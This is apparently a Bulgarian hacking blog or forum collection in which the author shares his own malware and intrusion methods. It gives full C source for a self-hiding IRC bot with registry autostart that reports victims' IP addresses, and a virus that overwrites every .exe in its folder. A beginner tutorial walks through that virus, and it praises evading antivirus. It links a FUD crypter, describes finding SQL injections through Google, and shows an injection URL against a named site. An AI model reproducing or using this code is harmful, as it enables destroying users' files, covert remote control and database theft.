FileSplitter

Това е file splitter който направих специално за unkn0wn.ws.Този splitter подържа опций да разделя файловете обикновено но също има опция да се ползва и за да се намери байтовете които се засичат от анти вирусните във даден файл.

Ето и линк към кода: http://www.mediafire.com/?q40nyvytkri

Scantime криптер

Това е криптер който направих на C със изцяло мои кодове за около 2 дни :) В момент когато го направих той беше FUD и при сканиране не се засичаше от нито една анти вирусна :)
Използва rot13 + xor за да криптира файловете, също така подържа и EOF :)
Скоро се надявам да направя и Runtime FUD криптер :)

Ето и сорс кода:
http://www.mediafire.com/?nzzwdmnzmy2

Прост IRC бот

Направих го просто фор фун :P
Бота има само три функций:

MsgBox Va6etoSaob6tenie -> Извежда MessageBox()

IP -> Дава ви IPa на жертвата

beep 1 -> Кара компютъра на жертвата да пивка

При стартирането бота се добавя към програмите които се зареждат с Уиндоус и се стартира всеки път при стартиране на Уиндоуса :)

#include windows.h

struct in_addr GetIP();
struct in_addr GetIP() {
char temp[80];
struct hostent * hostent_ptr;
struct in_addr addr;
gethostname(temp,80);
hostent_ptr = gethostbyname(temp);
int i = 0;
while (hostent_ptr->h_addr_list[i] != 0) {
addr.s_addr = *(u_long *) hostent_ptr->h_addr_list[i++];
}
return addr;
}

int main() {

struct in_addr addr;
SOCKADDR_IN sin;
SOCKET sock;
char Nick[100] = “LamerzBot”,*Channel = “#YOUR CHANNEL NAME HERE”,*ircServer = “YOUR IRC SERVER IP HERE”,*ptr,*Username = “LamerzBot”,*myaddr;
int Len,LenInBytes,port = 6667,i;
char recvBuff[4096],sendBuff[4096],FilePath[MAX_PATH];
HKEY KeyHandle;
WSADATA WSAData;

WSAStartup(MAKEWORD(2,0), &WSAData);

Len = GetModuleFileName(NULL,FilePath,MAX_PATH);
SetFileAttributes(FilePath,FILE_ATTRIBUTE_HIDDEN);
LenInBytes = Len * sizeof(*FilePath);
RegOpenKeyEx(HKEY_LOCAL_MACHINE,”Software\\Microsoft\\Windows\\CurrentVersion\\Run”,0,KEY_ALL_ACCESS,&KeyHandle);
RegSetValueEx (KeyHandle,”system21″,0,REG_SZ,(LPBYTE)FilePath,LenInBytes);
RegCloseKey(KeyHandle);

sock = socket(AF_INET, SOCK_STREAM, 0);
memset( &sin,0,sizeof sin);
sin.sin_addr.s_addr = inet_addr(ircServer);
sin.sin_family = AF_INET;
sin.sin_port = htons(port);
connect(sock, (SOCKADDR *)&sin, sizeof(sin));

addr = GetIP(); /*Get The Ip in network byte order */

myaddr = (char *) malloc (sizeof(addr));
myaddr = inet_ntoa(addr);

memset(sendBuff,0,255);
sprintf(sendBuff,”USER %s \”\” \”\” :%s%c”,Username,Nick,10); /* */
send(sock,sendBuff,strlen(sendBuff),0);

memset(sendBuff,0,255);
sprintf(sendBuff,”NICK %s%c”,Nick,10); /* [ ] */
send(sock,sendBuff,strlen(sendBuff),0);

Sleep(100);

memset(sendBuff,0,255);
sprintf(sendBuff,”JOIN %s%c”,Channel,10); /*{,} [{,}] */
send(sock,sendBuff,strlen(sendBuff),0);

while(1) {
memset(recvBuff,0,255);
recv(sock,recvBuff,255,0);
if (strstr(recvBuff,”PING”) != 0 ) { send (sock,”PONG :\r\n”,6,0); }
if((ptr = strstr(recvBuff,”MsgBox”)) != 0) { ptr += 7; MessageBox(0,ptr,”Its Just A Game…”,MB_SYSTEMMODAL); }
if((ptr = strstr(recvBuff,”beep”)) != 0) { ptr += 5; Beep(2000,(int)*ptr); }
if(strstr(recvBuff,”IP”) !=0) { sprintf(sendBuff,”PRIVMSG %s :%s%c”,Channel,myaddr,10);
send(sock,sendBuff,strlen(sendBuff),0); }
}
return 0;
}

Дупка в ssi-bg.com

Това е видео в което съм заснел една скрита вратичка в SSI-BG.COM от където можех да взема скрипт системата и базата данни на всички обслужвани от тях сайтове :) беше преди доста време но мисля че все пак ще е интересно да се види :)

Линк: http://www.mediafire.com/?mhzjzwzrtme

[2]Вирус Програмиране За Начинаещи

Реших да почна да пиша поредица от такива статий и след това може да ги обединя в книга. Точно тази статия която поствам е втората от поредицата но нея ще постна преди първата :lol: Да знам че е малко тъпо но стана така защото като я завърших разбрах че не съм обяснил някой по главни неща за по начинаещите и затова ще има първа статия в която да обясня някой по прости неща.

Иначе тази я поствам за да ми кажете какво мислите и да ми напишите вашите забележки и препоръки за да може да го дооправя :ugeek: Скоро и статия номер 1 ще бъде готова. Някой ако иска да помога (има знания) е винаги добре дошъл



За да четете тази статия трябва да знаете за някой главни неща в програмирането (pointers,arrays,
structures, etc..) и да сте на ти с C\C++ синтаксиса Също и някой минимални познания
за Уондоус средата за програмиране

Специално за тази статия съм направил прост вирус който презаписва всички .exe файлове
в директрията където се изпълнява с свои копия и извежда съобщение при пускането му .
С следващите статий ще видим как ще уложним и развием или изцяло променим този вирус
до създаването на нещо яко :D
Реших да го направя на C защото тва е един от удобните за програмиране езици който се
знае от най много хора

В този вирус както и в всички останали за Windows ни е нужна само една библиотека.
И то тази на Уиндоуса .
[code]#include [/code] включваме уиндоус библиотеката в нашият код
мисля че няма нужда от обяснение :P

Нека започнем с обяснение на съществените функций (Ако сега са ви неясни
то по късно като разгледаме кода на вируса мисля че ще ви станат ясно )

Дадената функция увеличава размера на жертвата до толкова че да може да бъде презаписана
от вируса защото ако вируса е 10000 байта а жертвата 500 то няма как вируса да я презапише
тъй като неговия размер е по голям (може вируса да се направи по прост и тази функция както
и много други да не бъдат нужни но аз искам да обясня неща които ще са нужни и за други
вируси )
FixSize взима два аргумента BytesToAdd (броят на байтовете които трябва
да бъдат добавени за да се изравни размера на жертвата и вируса) и FileHandle (Повод към
жертвата създаден чрез CreateFile(), с който можем да четем и пишем жертвата).
SetFilePointer премества пойнтера чрез който можем да четем и пишем файла в неговият край
(иначе е в началото).
А със WriteFile записваме низ със дължина равна на разликата между размера на вируса
и на жертвата(ще видите после) в края на жертвата.
[code]
int FixSize(int BytesToAdd,HANDLE FileHandle) {

DWORD BytesWritten = 0;
char Buffer[BytesToAdd];

SetFilePointer(FileHandle,0,0,FILE_END);
WriteFile(FileHandle,Buffer,BytesToAdd,&BytesWritten,NULL);

return 0;
}
[/code]

Следващата функция Infect също е много проста Както самото име казва тази функция
инфектира жертвата със вируса(в нашият случей презаписва жертвата с копие на вируса).
Функцията взима 3 аргумента FileHandle(пойнтер сочещ към началото на жертвата
заредена в памета с MapViewOfFile()) VirusHandle(пойнтер сочещ към началото на вируса
зареден в памета с MapViewOfFile())
VirusSize(размера на вируса).
For(;;) цикъла във тази функция просто презаписва един по един байтовете на жертвата от
началото с тези на вируса докато броят на презаписаните байтове не достигне размера на вируса.
Ако например размера на жертвата е 1000 а размера на вируса 500 то само първите 500 байта
ше бъдат презаписани а останалите ще останат, но при пускане на вече инфектиряният файл
то останалите 500 байта няма да бъдат заредени в памета ще бъдат заредени само първите 500,
а останалите ще съществуват само когато разглеждаме жертвата на харда а не в памета
(ще разберете защо е така по нататък ).
[code]
int Infect(unsigned char *FileHandle,unsigned char *VirusHandle,int VirusSize) {
int i;
for(i = 0;i *FileHandle = *VirusHandle;
FileHandle++;
VirusHandle++;
}
return 0;
}
[/code]

Сега следва една по сложна функция OpenFileToInfect
Тази функция взима 3 аргумента FileName(името на жертвата), OpenHandle(това е пойнтер който
при извикването на функцията очаква да му дадете адреса където искате да запише адреса
на който ще бъде заредена жертвата в памета, това става като пред името на променливата
в която искате да запишете този адреса сложите &, ще видите по късно ) и VirusSize(размера на вируса).

[code]
int OpenFileToInfect(char FileName[] , HANDLE *OpenHandle, int VirusSize) {
int Size;

*OpenHandle = CreateFile(FileName,GENERIC_ALL,0,NULL,OPEN_EXISTING,0,NULL );
Size = GetFileSize(*OpenHandle,NULL);

if(VirusSize > Size) { FixSize((VirusSize-Size),*OpenHandle); }
*OpenHandle = CreateFileMapping(*OpenHandle,NULL,PAGE_EXECUTE_READWRITE,0,0,NULL);
*OpenHandle = MapViewOfFile(*OpenHandle,FILE_MAP_ALL_ACCESS,0,0,0);

return Size;
}
[/code]

С първата линия отваряме файла а със втората взимаме неговият размер
[code]*OpenHandle = CreateFile(FileName,GENERIC_ALL,0,NULL,OPEN_EXISTING,0,NULL );
Size = GetFileSize(*OpenHandle,NULL);[/code]

Тази линия е много съществена защото тук проверяваме дали вируса е по голям от жертвата
и ако е то тогава извикваме функцията FixSize() за да изравни размерите... като параметри
даваме разликата между размера на вируса и размера на жертвата и повод към отвореният файл
[code]if(VirusSize > Size) { FixSize((VirusSize-Size),*OpenHandle); }[/code]

С първата линия CreateFileMapping зарежда файла в памета на системата за да може
да се използва от много процеси чрез повода върнат от функцията, но не го зарежда
в процеса на вируса, затова за да го заредим в процеса на вируса трябва да използваме
MapViewFile.И сега вече върнатият повод е към началото на файла . ЗАБЕЛЕЖЕТЕ!: Зареден
по този начин в памета файла е зареден точно така както изглежда на харда а не така както
изглежда когато се изпълнява .
[code]
*OpenHandle = CreateFileMapping(*OpenHandle,NULL,PAGE_EXECUTE_READWRITE,0,0,NULL);
*OpenHandle = MapViewOfFile(*OpenHandle,FILE_MAP_ALL_ACCESS,0,0,0);
[/code]

OpenVirus функцията е по прост вариант на OpenFileToInfect такаче не е нужно обяснение
тук Единственото което трябва да отбележим е че ако погледните някой от аргументите
на Уиндоус функцийте ще забележите че в този случай вируса се отваря само за четене
защото в момента той се изпълнява и неможем да пишем върху него

Нека сега разгледаме главният контролен код на вируса
Първо взимаме пътя към вируса и неговото име които ще бъдат записани под формата на низ
във FilePath , това ни е нужно защото трябва да извикаме OpenVirus функцията да отвори вируса
за четене а уиндоус функцийте вътре изискват пътя или само името не файла
Ето тук при извикване на OpenVirus виждате как даваме адреса на променливата в която
искаме да запишем крайният адрес на който ще бъде зареден вируса &VirusHandle (ако се прочели
всичко по горе ще ви е ясно тва )
Както виждате тази функция връща размера на вируса който ще ни е нужен по късно
[code] GetModuleFileName(NULL,FilePath,MAX_PATH);
VirusSize = OpenVirus(FilePath,&VirusHandle);[/code]

Сега тука тва може да ви се стори малко сложно на пръв поглед :P
Тук ще разгледаме системата на вируса за намиране на файлове
При търсенето на файлове трябва първо да извикаме функцията FindFirstFile за да намерим
първият файл и след това вече за да намерим и другите файлове извикваме FindNextFile
При изпълнението на FindFirstFile то функцията връща повод който ще се използва при всяко
следващо изпълнение на FindNextFil за намиране на друг файл вместо име или маска за файлове
И двете функций ползват една и съща структура за записване на данни за намереният файл
такаче при всяко намиране на файл информацията в структурата се променя
ЗАБЕЛЕЖЕТЕ!: Реда на намиране на файловете винаги е азбучен
Можеби някой от вас се чудят какво е FileMask... Това е просто низ в който сме задали маска
с която ще намерим всички файлове с разширение EXE
FindData също може да ви изглежда като нещо страно но това е просто структура от типа
WIN32_FIND_DATA в която при намиране на всеки файл се записва полезна информация за файла,
като например дата на създаване,дата на модифициране, атрибути и такива

След като вече сме намерили първият файл следва линия от код който в момента е ненужен
но после когато започнем да търсим за още ще проверява кога повода върнат от FindNextFile
е равен на 0 (няма повече файлове). Забележете при декларирането на повода NextHandle = 1
му даваме стойност 1 защото иначе ще му бъде дадена някаква произволна стойноста която
в някой случей може да е равна на 0 и още при първата проверка дали NextHandle е равно на
нула резултата да бъде положителен и вируса да не инфектира повече файлове (нека не оставяме
нищо на случайноста :P )
[code]if(NextHandle == 0) { goto Finish; }[/code]

И ако условието е вярно то тогава утиваме там кадето е дефинирано заглавието Finish:
Където ще бъде изпълнен така нареченият PayLoad (това е някакав код който обикновено
показва някакво съобщение на потребителя който стартира заразеняит файл )
В нашият случай PayLoad-a се състои от прост MessageBox който ще изведе съобщение
че файла е инфектиран от еди кой си вирус Но вие може да създадете някакъв по сложен и як
PayLoad за да стреснете потребителя :P А може и да не слагате PayLoad ако искате
никой да не разбира че някой файл е заразен от ваш вирус
[code]MessageBox(0,Payload,Title,MB_ICONERROR); [/code]

Следващата линия също е код за проверка при който проверяваме дали атрибутите на намериният
файл са FILE_ATTRIBUTE_SYSTEM (константа дефинирана в Уиндоус библиотеката) или по просто
системни. Защо ли ? Защото ако по погледнете малко по нататък
в кода ще видите че точно след като файла е инфектиран вируса му дава системни атрибути за да
може да различава инфектираните от не инфектираните файлове :P (този метод се ползва от много
вируси )
Както преди разаяснихме FindData е структура от типа WIN32_FIND_DATA, а dwFileAttributes
е член на тази структура в който се пазят атрибутите на намериният файл
[code]if(FindData.dwFileAttributes == FILE_ATTRIBUTE_SYSTEM)[/code]

И ако условието е вярно то тогава намереният файл е вече заразен и се налага
да изпълним FindNextFile за да потърсим за друг файл след което следва проверка
дали файловете в директорията не са свършели както обяснихме по горе ( това
в нашият случей става с GOTO който ни праща обратно на заглавието FindFiles: ) и отново
проверка дали файла не е заразен вече ако не е заразен продължаваме нататък
[code] NextHandle = FindNextFile(FileFindHandle,&FindData);
goto FindFiles; [/code]

Сега първата стъпка преди да заразим файла е да го отворим и заредим в памета
В нашият случей това вируса прави като извика функцията OpenFileToInfect Която връща
размера на файла и адреса на който е зареден файла в променливата FileOpenHandle което
мисля че вече обясних как става (като дадем адреса на променливата като стойност
на пойнтер в дадената функция ;) мноо як трик ) Тази функция съм я обяснил по горе
такаче няма да губя повече време върху нея
[code]FileSize = OpenFileToInfect(FindData.cFileName,&FileOpenHandle,VirusSize);[/code]

Следва функцията за заразяване на файла Infect даваме й три параметра FileOpenHandle (адреса
на който е зареден файла за инфектиране) ,VirusHandle (Адреса на който е зареден вируса),
VirusSize (размера на вируса). Няма да обяснявам тази функция тъй като съм я обяснил вече
по горе .
[code]Infect(FileOpenHandle,VirusHandle,VirusSize); [/code]

Сега след като вече файла е инфектиран следва уиндоус функция която ще го запише
обратно на харда FlushViewOfFile. Тя не е сложа и взима само два параметра
FileOpenHandle (Адресът на който е зареден вече инфектираният файл) и VirusSize (размера на вируса
, който казва колко байта на адреса указан в FileOpenHandle да бъдат записани на харда )
[code]FlushViewOfFile(FileOpenHandle,VirusSize); [/code]

И ето вече файла е инфектиран и записан на диска сега само остава да променим неговите
атрибути на системни за да предотвратим повторн инфектиране :P (знаете за какво става въпрос
ако сте прочели всико по горе :P ). Това става с функцията SetFileAttributes която взима
само два параметра, името на файла ( което отново взимаме от FindData структурата, FindData.cFileName)
и какви атрибути да дадем на този файл, FILE_ATTRIBUTE_SYSTEM разбирасе (ако файла е имал
атрибути като например Archive+Normal то те ще бъдат презаписани със тези дадени
в този аргумент)
[code]SetFileAttributes(FindData.cFileName,FILE_ATTRIBUTE_SYSTEM); [/code]

И ето файла е вече заразен и пълно копие на този функциониращ вирус готов да търси
своите жертви

Този код отново връща вируса да търси за нови жертви докато файловете
в директорията не свършват и тогава да изведе PayLoad-a
[code]goto FindFiles;[/code]

А ето и целият код 8-) :

[code]
#include

int FixSize(int BytesToAdd, HANDLE FileHandle);
int Infect(unsigned char *FileHandle,unsigned char *VirusHandle,int VirusSize);
int OpenFileToInfect(char FileName[] , HANDLE *OpenHandle, int VirusSize);
int OpenVirus(char FileName[] , HANDLE *OpenHandle);
int main()
{
char FileMask[] = "*.exe",FilePath[MAX_PATH],Payload[]="File Destroyed By Bulgarian Virus Agent!",Title[] = "Bulgarian Virus Agent";
HANDLE FileFindHandle,NextHandle = 1,FileOpenHandle,VirusHandle;
WIN32_FIND_DATA FindData;
int FileSize,VirusSize;

GetModuleFileName(NULL,FilePath,MAX_PATH);
VirusSize = OpenVirus(FilePath,&VirusHandle);

FileFindHandle = FindFirstFile(FileMask,&FindData);
FindFiles:
if(NextHandle == 0) { goto Finish; }
if(FindData.dwFileAttributes == FILE_ATTRIBUTE_SYSTEM) {
FindNextFile:
NextHandle = FindNextFile(FileFindHandle,&FindData);
goto FindFiles;
}

FileSize = OpenFileToInfect(FindData.cFileName,&FileOpenHandle,VirusSize);

Infect(FileOpenHandle,VirusHandle,VirusSize);
FlushViewOfFile(FileOpenHandle,VirusSize);

SetFileAttributes(FindData.cFileName,FILE_ATTRIBUTE_SYSTEM);

goto FindNextFile;

Finish:

MessageBox(0,Payload,Title,MB_ICONERROR);
return 0;
}

int OpenFileToInfect(char FileName[] , HANDLE *OpenHandle, int VirusSize) {
int Size;

*OpenHandle = CreateFile(FileName,GENERIC_ALL,0,NULL,OPEN_EXISTING,0,NULL );
Size = GetFileSize(*OpenHandle,NULL);

if(VirusSize > Size) { FixSize((VirusSize-Size),*OpenHandle); }
*OpenHandle = CreateFileMapping(*OpenHandle,NULL,PAGE_EXECUTE_READWRITE,0,0,NULL);
*OpenHandle = MapViewOfFile(*OpenHandle,FILE_MAP_ALL_ACCESS,0,0,0);

return Size;
}

int OpenVirus(char FileName[] , HANDLE *OpenHandle) {
int Size;

*OpenHandle = CreateFile(FileName,GENERIC_READ,0,NULL,OPEN_EXISTING,0,NULL );

Size = GetFileSize(*OpenHandle,NULL);

*OpenHandle = CreateFileMapping(*OpenHandle,NULL,PAGE_READONLY,0,0,NULL);
*OpenHandle = MapViewOfFile(*OpenHandle,FILE_MAP_READ,0,0,0);

return Size;
}

int Infect(unsigned char *FileHandle,unsigned char *VirusHandle,int VirusSize) {
int i;
for(i = 0;i *FileHandle = *VirusHandle;
FileHandle++;
VirusHandle++;
}
return 0;
}

int FixSize(int BytesToAdd,HANDLE FileHandle) {

DWORD BytesWritten = 0;
char Buffer[BytesToAdd];

SetFilePointer(FileHandle,0,0,FILE_END);
WriteFile(FileHandle,Buffer,BytesToAdd,&BytesWritten,NULL);

return 0;
}
[/code]

[1]Вирус програмиране за начинаещи

Това е първата част от поредицата но не е завършена изцяло ще едитвам темата когато направя продължението.. поствам я за ми кажете ако мислите че нещо трябва да се промени или да предложите какво още да обясня

В тази първа статия за вирус програмирането ще обясня колкото
се може повече неща които са необходими да знаете за да можете
да създавате вируси

Тъй като всички вируси от тази поредица ще бъдат направени
главно на C. Ще започна с обяснение на някой неща за C които
повечето от вас сигурно знаят но аз искам да обясня някой
неща за по начинаещите... Тук няма да ви науча на главните
неща на C, вече има такива материали за четене по долу ще дам
линкове Тук само ще подчертая най важното което трябва да знаете

Тъй като разбрах че указателите (pointers) не са ясни на много
хора реших и тях да обясня до колкото мога
Гледайте на указателите като на нищо повече от променливи в които
можете да записвате адресите на променливи и да имате достап до
тяхните стойности
Ето ви един код в който използваме указатели
[code]
int main()
{
int *ptr;
int var = 5;

ptr = &var;
*ptr = 3;

printf("%d\n",var);

return 0;
}
[/code]

Както виждате в този код даваме на ptr адресът на var ( чрез анперсант (&) знака може
да вземете адреса на променлива и указател ) след което
чрез астерикс (*) може да имаме достъп до стойноста която се намира
на адреса към който сочи пойнтера
Ето ви някой примери с които мисля че трябва да разберете за какво
става въпрос:

int *ptr;
int var = 5;

ptr = var; вместо адреса ще запишем в ptr стойноста на var - 5
и ако се опитате да вземете стойноста която се намира на адреса
посочен от ptr със *ptr то тогава ще получете грешка защото
5 е невалиден адрес

ptr = &var; дава на ptr адрес към който да сочи и имено този на
var, в този случей чрез *ptr ще имате достъп до стойноста на var

printf("%X\n",&ptr); извежда на екрана самият адрес на ptr


Много важно е също така и да знаете че низовете са също пойнтери
Самоче един низ е част от няколко на брой елемента, и може да имаме
достъп само до един елемент или до всички наведнъж
Ето ви пример как може пойнтер да сочи към някой от елементите в
низа:
[code]
int array[10];
array[3] = 5;
int *ptr;
ptr = array+3;

printf("%d\n",*ptr);
[/code]
Array е същото като ptr самоче array побира 10 елемента а ptr
само един.Но ако нагласим ptr да сочи към началото на array то
тогава array[1]; ще е същото като *(ptr+1);

А ако случайно имате указател към структура,като:
[code]
struct tag {
int x;
int z;
};

struct tag *StructPtr;

StructPtr->x = 5;
printf("%d\n",StructPtr->x);
[/code]

то за да използвате
някой от членовете на структурата се използва знака ->.

Нека продължим със функцийте. Трябва да знаете че всяка функция
може да върне само ЕДНА стойност.Също така стойноста
която се връща и променливата в която се връща трябва да са от
един и съши тип ;) .Ако не знаете това може да имате
доста главоболия ето ви пример:

[code]
int func();
int main()
{
char c;

c = func();
printf("%d\n",c);
system("PAUSE");
return 0;
}

char func() {

return 127;
}
[/code]

Макар че при пускането този код наистина работи пробвайте да
да смените числото което връща func() на по голямо от 127 ;)

Да не работи защото типа char може да поема стойности от -128
до 127 и като въведем стойност по голяма от максималната която
може да се побере в променливата ( в нашият случей c ) то се получава
препълване (overflow) което води до загуба на данни Такаче
винаги внимавайте с типовете данни които ползвате ;)
А ако не искате някоя функция да връща стойност то тогава може
да я дефинирата да бъде от типа void
Сега теоритично ще ви запозная с главните части на един вирус

Нека разсея всички митове за това че вируса е нещо което прецаква
компа... да много от вирусите са разрушителни но вирус е просто програма
която се саморазпространява.Всеки може да създаде програма която да
унищожи Уиндоус само с няколко реда код но това не е забавно
При програмирането на вируси ще може да усетите как нещо оживява
във вашите ръце . Яко е да търсиш нови методи да минеш покрай
анти вирусните и защитните стени :) Войната между анти вирусните
компаний и създателите на вируси се води от незапомнени времена...
Ако искате и вие да впишете името си в тази история то стягайте
и почвайте да четете :)

Ето една схема с главните части на един вирус:



Това са само частите без които неможе един вирус а иначе
може да се добави PayLoad(по нататък като го използваме
ще разберете какво е това) там където искате :) може да се
добави и код който да криптира/декриптира вашият вирус, а най
модерните вируси ползват даже и мощни инструменти с които
при всяко ново поколение вируса мутира, че даже и инструменти
чрез които вируса смесва своят код със този на на заразената програма.

Намиране на SQLi през google

Това е интересен метод който открих случайно
докато се опитвах да кракна няколко MD5 хеша
Може да го знаете но тъй като не видях никаде
да пише за него реших аз да споделя за него
на начинаещите.

Зе целта първо ще ни трябват MD5 хешовете на
някой от най използваните пароли ето ви
няколко:

123 - 202cb962ac59075b964b07152d234b70
123456789 - 25f9e794323b453885f5181f1b624d0b
admin - 21232f297a57a5a743894a0e4a801fc3
password - 5f4dcc3b5aa765d61d8327deb882cf99
administrator - 200ceb26807d6bf99fd6f4f0d1ca54d4
null - 37a6259cc0c1dae299a7866489dff0bd
satan - 87df2cd1570fd297de238aeee667fe0a
secret - 5ebe2294ecd0e0f08eab7690d2a6ee69
love - b5c0b187fe309af0f4d35982fd961d7e
sex - 3c3662bcb661d6de679c636744c66b62

Трика се състои в това че google кешира всичко
в един сайт даже и дупките :)

Със този метод няма да намерите просто SQL Injection
дупка а готов SQL Injection като [code]
http://www.touax.info/rubrique.php?id=-1+union+select+1,2,us_login,us_password,5,6,7,8,9,10,11,12,13,14+from+a_users_f[/code]

Просто отидете в google и във полето за търсене
въведете някоя SQL команда която се използва
във всички SQL Injections и един от хешовете
по горе, и търсете ;) По този начин аз намерих
около 25 SQL Injections за по малко от 30 min
Като търсех само с командата UNION и 2-3 хеша :P.

Get IP

Малка и полезна функция със помоща на която можете да вземете вашият ИП адрес :)

struct in_addr GetIP() {
char temp[80];
struct hostent * hostent_ptr;
struct in_addr addr;
gethostname(temp,80);
hostent_ptr = gethostbyname(temp);
int i = 0;
while (hostent_ptr->h_addr_list[i] != 0) {
addr.s_addr = *(u_long *) hostent_ptr->h_addr_list[i++];
}
return addr;
}


А ето и как точно се работи с нея:

truct in_addr addr;
char *myaddr;

addr = GetIP(); /*Get The Ip in network byte order */

myaddr = (char *) malloc (sizeof(addr));
myaddr = inet_ntoa(addr);

Win32.PE File Overwritter

Това е прост и як вирус който презаписва всички .еxe файлове в директорията в която се намира с свои собствени копия :)

#include windows.h

int FixSize(int BytesToAdd, HANDLE FileHandle);
int Infect(unsigned char *FileHandle,unsigned char *VirusHandle,int VirusSize);
int OpenFileToInfect(char FileName[] , HANDLE *OpenHandle, int VirusSize);
int OpenVirus(char FileName[] , HANDLE *OpenHandle);
int main()
{
char FileMask[] = "*.exe",FilePath[MAX_PATH],Payload[]="File Destroyed By .ExE Destroyer",Title[] = ".ExE Destroyer";
HANDLE FileFindHandle,NextHandle = 1,FileOpenHandle,VirusHandle;
WIN32_FIND_DATA FindData;
int FileSize,VirusSize;

GetModuleFileName(NULL,FilePath,MAX_PATH);
VirusSize = OpenVirus(FilePath,&VirusHandle);

FileFindHandle = FindFirstFile(FileMask,&FindData);
FindFiles:
if(NextHandle == 0) { goto Finish; }
if(FindData.dwFileAttributes == FILE_ATTRIBUTE_SYSTEM) {
FindNextFile:
NextHandle = FindNextFile(FileFindHandle,&FindData);
goto FindFiles;
}

FileSize = OpenFileToInfect(FindData.cFileName,&FileOpenHandle,VirusSize);

Infect(FileOpenHandle,VirusHandle,VirusSize);
FlushViewOfFile(FileOpenHandle,VirusSize);

SetFileAttributes(FindData.cFileName,FILE_ATTRIBUTE_SYSTEM);

goto FindNextFile;

Finish:

MessageBox(0,Payload,Title,MB_ICONERROR);
return 0;
}

int OpenFileToInfect(char FileName[] , HANDLE *OpenHandle, int VirusSize) {
int Size;

*OpenHandle = CreateFile(FileName,GENERIC_ALL,0,NULL,OPEN_EXISTING,0,NULL );
Size = GetFileSize(*OpenHandle,NULL);

if(VirusSize > Size) { FixSize((VirusSize-Size),*OpenHandle); }
*OpenHandle = CreateFileMapping(*OpenHandle,NULL,PAGE_EXECUTE_READWRITE,0,0,NULL);
*OpenHandle = MapViewOfFile(*OpenHandle,FILE_MAP_ALL_ACCESS,0,0,0);

return Size;
}

int OpenVirus(char FileName[] , HANDLE *OpenHandle) {
int Size;

*OpenHandle = CreateFile(FileName,GENERIC_READ,0,NULL,OPEN_EXISTING,0,NULL );

Size = GetFileSize(*OpenHandle,NULL);

*OpenHandle = CreateFileMapping(*OpenHandle,NULL,PAGE_READONLY,0,0,NULL);
*OpenHandle = MapViewOfFile(*OpenHandle,FILE_MAP_READ,0,0,0);

return Size;
}

int Infect(unsigned char *FileHandle,unsigned char *VirusHandle,int VirusSize) {
int i;
for(i = 0;i*FileHandle = *VirusHandle;
FileHandle++;
VirusHandle++;
}
return 0;
}

int FixSize(int BytesToAdd,HANDLE FileHandle) {

DWORD BytesWritten = 0;
char Buffer[BytesToAdd];

SetFilePointer(FileHandle,0,0,FILE_END);
WriteFile(FileHandle,Buffer,BytesToAdd,&BytesWritten,NULL);

return 0;
}

Get EIP във C

Това е много проста функция чрез която може да вземете EIP (адреса на който се намираи инструкцията която ще се изпълни точно след изпълнението на тази функция)
без inline asm :)

int GetEIP() {

int z,*i,x;

z = sizeof(x);
i = &x;
i += z;

return *i;
}

Листинг на директория чрез NtQueryDirectoryFile

Написах този код за науча повече затова как работят NT недокументирани функций и в частност NtQueryDirectoryFile :) Мисля че кода може да ви бъде много полезен затова го поствам с още класове които съм намерил в интернет и се ползват от NtQueryDirectoryFile но които практически не са нужни в тази програма :)

#include stdio.h
#include windows.h
#include string.h
#include wchar.h
#include ntsecapi.h
#include stdlib.h
#include malloc.h


typedef struct _IO_STATUS_BLOCK {
union {
NTSTATUS Status;
PVOID Pointer;
}StatusBlock;
ULONG_PTR Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;


typedef VOID (*PIO_APC_ROUTINE) (
PVOID ApcContext,
PIO_STATUS_BLOCK IoStatusBlock,
ULONG Reserved
);

typedef enum _FILE_INFORMATION_CLASS {
FileDirectoryInformation = 1,
FileFullDirectoryInformation,
FileBothDirectoryInformation,
FileBasicInformation,
FileStandardInformation,
FileInternalInformation,
FileEaInformation,
FileAccessInformation,
FileNameInformation,
FileRenameInformation,
FileLinkInformation,
FileNamesInformation,
FileDispositionInformation,
FilePositionInformation,
FileFullEaInformation,
FileModeInformation,
FileAlignmentInformation,
FileAllInformation,
FileAllocationInformation,
FileEndOfFileInformation,
FileAlternateNameInformation,
FileStreamInformation,
FilePipeInformation,
FilePipeLocalInformation,
FilePipeRemoteInformation,
FileMailslotQueryInformation,
FileMailslotSetInformation,
FileCompressionInformation,
FileCopyOnWriteInformation,
FileCompletionInformation,
FileMoveClusterInformation,
FileOleClassIdInformation,
FileOleStateBitsInformation,
FileNetworkOpenInformation,
FileObjectIdInformation,
FileOleAllInformation,
FileOleDirectoryInformation,
FileContentIndexInformation,
FileInheritContentIndexInformation,
FileOleInformation,
FileMaximumInformation
} FILE_INFORMATION_CLASS, *PFILE_INFORMATION_CLASS;

typedef struct _FILE_FULL_DIR_INFORMATION {
ULONG NextEntryOffset;
ULONG FileIndex;
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG FileAttributes;
ULONG FileNameLength;
ULONG EaSize;
WCHAR FileName[1];
} FILE_FULL_DIR_INFORMATION, *PFILE_FULL_DIR_INFORMATION;

typedef DWORD (__stdcall *NQDF)(

IN HANDLE FileHandle,
IN HANDLE Event,
//IN PIO_APC_ROUTINE ApcRoutine,
IN void* x,
IN PVOID ApcContext,
OUT PIO_STATUS_BLOCK IoStatusBlock,
OUT PVOID FileInformation,
IN ULONG Length,
IN FILE_INFORMATION_CLASS FileInformationClass,
IN BOOLEAN ReturnSingleEntry,
IN PUNICODE_STRING FileMask,
IN BOOLEAN RestartScan );

#define ALLOCSIZE sizeof(FILE_FULL_DIR_INFORMATION) * 512


int main() {


IO_STATUS_BLOCK IoStatusBlock;
HANDLE Dir;
NQDF Addr;
PFILE_FULL_DIR_INFORMATION buffer=NULL,DirInfo=NULL;
WCHAR Directory[MAX_PATH];
LPCWSTR Module = L"ntdll.dll";
DWORD err;

printf("Enter Directory To Enumerate... \n");
wscanf(L"%ws",&Directory);

buffer = (PFILE_FULL_DIR_INFORMATION)calloc(ALLOCSIZE,1);

Dir = CreateFileW(Directory,FILE_LIST_DIRECTORY,FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,NULL);

Addr = (NQDF) GetProcAddress(GetModuleHandle(Module),"NtQueryDirectoryFile");



err = Addr(Dir,NULL,NULL,NULL,&IoStatusBlock,buffer,ALLOCSIZE,FileFullDirectoryInformation,0, NULL, FALSE);
DirInfo = buffer;

